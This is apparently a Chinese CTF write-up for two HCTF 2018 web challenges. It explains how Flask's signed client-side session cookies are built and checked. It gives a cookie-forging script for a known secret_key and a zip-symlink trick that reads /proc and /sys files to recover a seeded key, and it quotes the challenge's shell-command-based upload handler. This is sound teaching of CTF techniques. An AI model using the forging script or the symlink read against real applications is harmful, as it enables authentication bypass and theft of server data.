这次hctf中有两道获取flask的secret_key生成客户端session的题目，为了能做出这两道题目来也是深入研究了一下flask客户端session的生成机制。所以这篇文章主要详细讨论一下flask客户端session的生成以及校验过程，以及在了解了flask客户端session机制后这两道题的解法。
个人第一次见到关于客户端session的文章是pith0n师傅的一片文章客户端session导致的安全问题。然而做题的时候只看phith0n师傅的这篇文章感觉还是有点儿懵逼。。。（也可能是我太菜了233）所以就只能翻flask的源码跟了一遍flask对session的处理流程。
flask对客户端session的处理机制
flask对session的处理位于flask/sessions.py中，默认情况下flask的session以cookie的形式保存于客户端，利用签名机制来防止数据被篡改。
在flask/sessions.py中，SecureCookieSessionInterface用于封装对CookieSession的一系列操作：
class SecureCookieSessionInterface(SessionInterface):
"""The default session interface that stores sessions in signed cookies
through the :mod:`itsdangerous` module.
"""
# salt,默认为cookie-session
salt = 'cookie-session'
#: 默认哈希函数为hashlib.sha1
digest_method = staticmethod(hashlib.sha1)
#:默认密钥推导方式 :hmac
key_derivation = 'hmac'
#:默认序列化方式：session_json_serializer
serializer = session_json_serializer
session_class = SecureCookieSession这里默认的序列化方式的定义为：
session_json_serializer = TaggedJSONSerializer()可以看到默认使用taggedJSONSerializer做序列化
taggedJSONSerializer定义：
class TaggedJSONSerializer(object):
"""A customized JSON serializer that supports a few extra types that
we take for granted when serializing (tuples, markup objects, datetime).
"""
def dumps(self, value):
def _tag(value):
if isinstance(value, tuple):
return {' t': [_tag(x) for x in value]}
elif isinstance(value, uuid.UUID):
return {' u': value.hex}
elif isinstance(value, bytes):
return {' b': b64encode(value).decode('ascii')}
elif callable(getattr(value, '__html__', None)):
return {' m': text_type(value.__html__())}
elif isinstance(value, list):
return [_tag(x) for x in value]
elif isinstance(value, datetime):
return {' d': http_date(value)}
elif isinstance(value, dict):
return dict((k, _tag(v)) for k, v in iteritems(value))
elif isinstance(value, str):
try:
return text_type(value)
except UnicodeError:
raise UnexpectedUnicodeError(u'A byte string with '
u'non-ASCII data was passed to the session system '
u'which can only store unicode strings. Consider '
u'base64 encoding your string (String was %r)' % value)
return value
return json.dumps(_tag(value), separators=(',', ':'))
def loads(self, value):
def object_hook(obj):
if len(obj) != 1:
return obj
the_key, the_value = next(iteritems(obj))
if the_key == ' t':
return tuple(the_value)
elif the_key == ' u':
return uuid.UUID(the_value)
elif the_key == ' b':
return b64decode(the_value)
elif the_key == ' m':
return Markup(the_value)
elif the_key == ' d':
return parse_date(the_value)
return obj
return json.loads(value, object_hook=object_hook)可以看到本质还是一个添加了类型属性的json处理。
SecureCookieSessionInterface类的获取签名验证序列化器函数为get_signing_serializer
def get_signing_serializer(self, app):
if not app.secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(app.secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)可以看到最后使用的签名序列化器为URLSafeTimedSerializer，并且传入app.secret_key用于签名。
SecureCookieSessionInterface的open_session与save_session方法表示了对session的处理
def open_session(self, app, request):
s = self.get_signing_serializer(app)
if s is None:
return None
val = request.cookies.get(app.session_cookie_name)
if not val:
return self.session_class()
max_age = total_seconds(app.permanent_session_lifetime)
try:
data = s.loads(val, max_age=max_age)#max_age
return self.session_class(data)
except BadSignature:
return self.session_class()
def save_session(self, app, session, response):
domain = self.get_cookie_domain(app)
path = self.get_cookie_path(app)
if not session:
if session.modified:
response.delete_cookie(app.session_cookie_name,
domain=domain, path=path)
return
httponly = self.get_cookie_httponly(app)
secure = self.get_cookie_secure(app)
expires = self.get_expiration_time(app, session)
print self.get_signing_serializer(app)
val = self.get_signing_serializer(app).dumps(dict(session))
response.set_cookie(app.session_cookie_name, val,
expires=expires, httponly=httponly,
domain=domain, path=path, secure=secure)可以看到从客户端获取session时获取对应的cookie值，并使用序列化器序列化，能够成功序列化即可获取sesison_class,否则返回一个空的session_class.
SecureCookieSession使用的默认序列化器URLSafeTimedSeriallizer位于itsdangerous模块中：
class URLSafeTimedSerializer(URLSafeSerializerMixin, TimedSerializer):
"""Works like :class:`TimedSerializer` but dumps and loads into a URL
safe string consisting of the upper and lowercase character of the
alphabet as well as ``'_'``, ``'-'`` and ``'.'``.
"""
default_serializer = compact_json序列化
序列化的流程在TimedSerializer的父类Serializer中
def dumps(self, obj, salt=None):
"""Returns a signed string serialized with the internal serializer.
The return value can be either a byte or unicode string depending
on the format of the internal serializer.
"""
payload = want_bytes(self.dump_payload(obj))
rv = self.make_signer(salt).sign(payload)
if self.is_text_serializer:
rv = rv.decode('utf-8')
return rv可以看到主要处理流程是将obj用dump_payload签名后利用make_signer(salt)生成的signer进行签名处理，并返回签名后的结果即为我们所需要的cookie值，而URLSafeTimedSeralizer的dump_playload方法继承自URLSafeSerializerMixin的dump_payload方法
def dump_payload(self, obj):
json = super(URLSafeSerializerMixin, self).dump_payload(obj)
is_compressed = False
compressed = zlib.compress(json)
if len(compressed) < (len(json) - 1):
json = compressed
is_compressed = True
base64d = base64_encode(json)
if is_compressed:
base64d = b'.' + base64d
return base64d对obj的处理首先使用URLSafeTimedSeralizer的另一个父类TimedSeralizer继承自Seralizer的dump_payload方法处理
def dump_payload(self, obj):
"""Dumps the encoded object. The return value is always a
bytestring. If the internal serializer is text based the value
will automatically be encoded to utf-8.
"""
return want_bytes(self.serializer.dumps(obj))其中self.serializer为之前SecureCookieSessionInterface的get_signing_serializer传入，即taggedJSONSerializer。
处理之后如果长度过长会进行一次zlib压缩，最后将生成的数据base64编码。
再回到之前Seralizer的dumps的处理流程中，self.make_signer(salt)的定义如下:
def make_signer(self, salt=None):
"""A method that creates a new instance of the signer to be used.
The default implementation uses the :class:`Signer` baseclass.
"""
if salt is None:
salt = self.salt
return self.signer(self.secret_key, salt=salt, **self.signer_kwargs)self.salt、self.signer_kwargs、self.secret_key来自之前SecureCookieSessionInterface的get_signing_serializer传入，分别为app.secret_key、’cookie-session’、{‘key_derivation’:’hmac’,’digest_method’=staticmethod(hashlib.sha1)}，而self.signer为TimedSeralizer中指定
class TimedSerializer(Serializer):
"""Uses the :class:`TimestampSigner` instead of the default
:meth:`Signer`.
"""
default_signer = TimestampSignerTimestampSigner签名过程为：
def sign(self, value):
"""Signs the given string and also attaches a time information."""
value = want_bytes(value)
timestamp = base64_encode(int_to_bytes(self.get_timestamp()))
sep = want_bytes(self.sep)
value = value + sep + timestamp
return value + sep + self.get_signature(value)将传入的value拼接上时间戳之后再拼接签名内容，签名实现继承自Signer类的get_signature方法
def get_signature(self, value):
"""Returns the signature for the given value"""
value = want_bytes(value)
key = self.derive_key()
sig = self.algorithm.get_signature(key, value)
return base64_encode(sig)因此，整个序列化的流程便是将obj处理为json格式后根据长度选择是否zlib压缩，之后再进行base64加密，拼接上当前时间戳之后再使用hmac签名并且拼接到该字符串上即为我们所需要的payload。
反序列化
反签名的流程主要为TimedSerializer类的loads函数
class TimedSerializer(Serializer):
"""Uses the :class:`TimestampSigner` instead of the default
:meth:`Signer`.
"""
default_signer = TimestampSigner
def loads(self, s, max_age=None, return_timestamp=False, salt=None):
"""Reverse of :meth:`dumps`, raises :exc:`BadSignature` if the
signature validation fails. If a `max_age` is provided it will
ensure the signature is not older than that time in seconds. In
case the signature is outdated, :exc:`SignatureExpired` is raised
which is a subclass of :exc:`BadSignature`. All arguments are
forwarded to the signer's :meth:`~TimestampSigner.unsign` method.
"""
base64d, timestamp = self.make_signer(salt)
.unsign(s, max_age, return_timestamp=True)
payload = self.load_payload(base64d)
if return_timestamp:
return payload, timestamp
return payload
def loads_unsafe(self, s, max_age=None, salt=None):
load_kwargs = {'max_age': max_age}
load_payload_kwargs = {}
return self._loads_unsafe_impl(s, salt, load_kwargs, load_payload_kwargs)这里的loads部分使用TimestampSigner来对传入的数据进行解析，查看TimestampSinger中关于签名与反签名的源码：
def sign(self, value):
"""Signs the given string and also attaches a time information."""
value = want_bytes(value)
timestamp = base64_encode(int_to_bytes(self.get_timestamp()))
sep = want_bytes(self.sep)
value = value + sep + timestamp
return value + sep + self.get_signature(value)
def unsign(self, value, max_age=None, return_timestamp=False):
"""Works like the regular :meth:`~Signer.unsign` but can also
validate the time. See the base docstring of the class for
the general behavior. If `return_timestamp` is set to `True`
the timestamp of the signature will be returned as naive
:class:`datetime.datetime` object in UTC.
"""
try:
result = Signer.unsign(self, value)
sig_error = None
except BadSignature as e:
sig_error = e
result = e.payload or b''
sep = want_bytes(self.sep)
# If there is no timestamp in the result there is something
# seriously wrong. In case there was a signature error, we raise
# that one directly, otherwise we have a weird situation in which
# we shouldn't have come except someone uses a time-based serializer
# on non-timestamp data, so catch that.
if not sep in result:
if sig_error:
raise sig_error
raise BadTimeSignature('timestamp missing', payload=result)
value, timestamp = result.rsplit(sep, 1)
try:
timestamp = bytes_to_int(base64_decode(timestamp))
except Exception:
timestamp = None
# Signature is *not* okay. Raise a proper error now that we have
# split the value and the timestamp.
if sig_error is not None:
raise BadTimeSignature(text_type(sig_error), payload=value,
date_signed=timestamp)
# Signature was okay but the timestamp is actually not there or
# malformed. Should not happen, but well. We handle it nonetheless
#检查timestamp
if timestamp is None:
raise BadTimeSignature('Malformed timestamp', payload=value)
# Check timestamp is not older than max_age
if max_age is not None:
age = self.get_timestamp() - timestamp
if age > max_age:
raise SignatureExpired(
'Signature age %s > %s seconds' % (age, max_age),
payload=value,
date_signed=self.timestamp_to_datetime(timestamp))
if return_timestamp:
return value, self.timestamp_to_datetime(timestamp)
return valueunsigin过程直接调用父类Signer的unsign,再进行timestamp的检查，由于之前调用时传入了max_age所以会检查timestamp是否超时（当时没注意到这一点一直以为随便一个timestamp就可以结果gg了。。。）
序列化与反序列化的总结
最后经过flask处理的字符串的格式为：
json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息对于以上的调用我们可以总结为这样的代码(与服务器上的python版本无关，如果不确定服务器运行环境timestamp最好根据服务器反馈获取)：
from itsdangerous import *
from flask.sessions import *
key='*******'
salt="cookie-session"
serializer=session_json_serializer
digest_method=hashlib.sha1
key_derivation='hmac'
signer_kwargs = dict(
key_derivation=key_derivation,
digest_method=digest_method
)
def serialize(obj,timestamp,sep):
my_serializer=URLSafeTimedSerializer(key,salt=salt,serializer=serializer,signer_kwargs=signer_kwargs)
base64d=my_serializer.dump_payload(obj) #数据压缩
data=base64d+sep+timestamp #拼接timestamp
result=data+sep+my_serializer.make_signer(salt).get_signature(data) #拼接签名内容
return result而从cookie获取session的过程便是验证签名->验证是否过期->解码，解码可以使用phith0n师傅的payload：
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))需要特别注意的是python2与python3下产生的timestamp是不一样的！！！当时被这个问题坑了很久。。。
hctf两道题目的wp
有了以上的分析要解决hctf的这两道题目就很容易了：
admin
http://admin.2018.hctf.io/index
这道题目我们能做出来是因为在github上搜索hctf,按照recent updated得到了题目的repohttps://github.com/woadsl1234/hctf_flask
repo中暴露了私钥信息,而且题目只需要能用admin用户登入即可，因此可以直接使用上面的脚本跑出admin用户的session来。
hide and seek
http://hideandseek.2018.hctf.io/
这道题目中登入后会要求我们上传一个zip文件,如果zip文件内的所有文件都是文本文件便可以成功返回文件的内容。
然而zip文件中也可以包含软链接,采用zip -ry out.zip link即可将一个软链接打包到out.zip中。因此我们可以尝试上传包含/proc/self/environ软链接的压缩包来获取一些运行环境信息
ln -s /proc/self/environ link
zip -ry out.zip link上传后可以获得当前一些环境信息：
可以发现uwsgi配置文件的路径/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini,尝试读取配置文件
[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app可以得知当前脚本为/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
从而获取到源码
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)然而并无法获取flag.py的源码，因为限制了内容不能包含hctf。
尝试获取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html
可以得知只要能用admin登入即可获得flag.
这里我们重点查看payload中SECRET_KEY的生成方式
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)可以看到随机数的种子为uuid.getnode().而uuid.getnode()函数返回的便是当前网卡的mac地址。那么要怎样获取服务器上的网卡地址?
这里便可以通过linux强大的特殊文件系统来获取。首先利用之前的方法读取/proc/net/dev可以发现服务器上的所有网卡。可以发现服务器只有eth0和lo两个网卡。之后再读取/sys/class/net/eth0/address
即可获取eth0网卡的mac地址。获取了地址，我们便获取了SECRET_KEY，之后便可以使用我们上面的payload来伪造session从二获取flag。
后记
通过这次hctf深入的了解了flask的客户端session的生成过程，可以说hctf相比最近的一些神仙大战确实是异常很适合web狗的比赛了。每年的hctf都能学到一些东西，希望以后能多一些这样干货满满的比赛。○|￣|_
ps:如果出一道改了源码改了默认salt和签名机制的题目会不会被打死ヾ(≧∇≦*)ゝ
还没有评论，来说两句吧...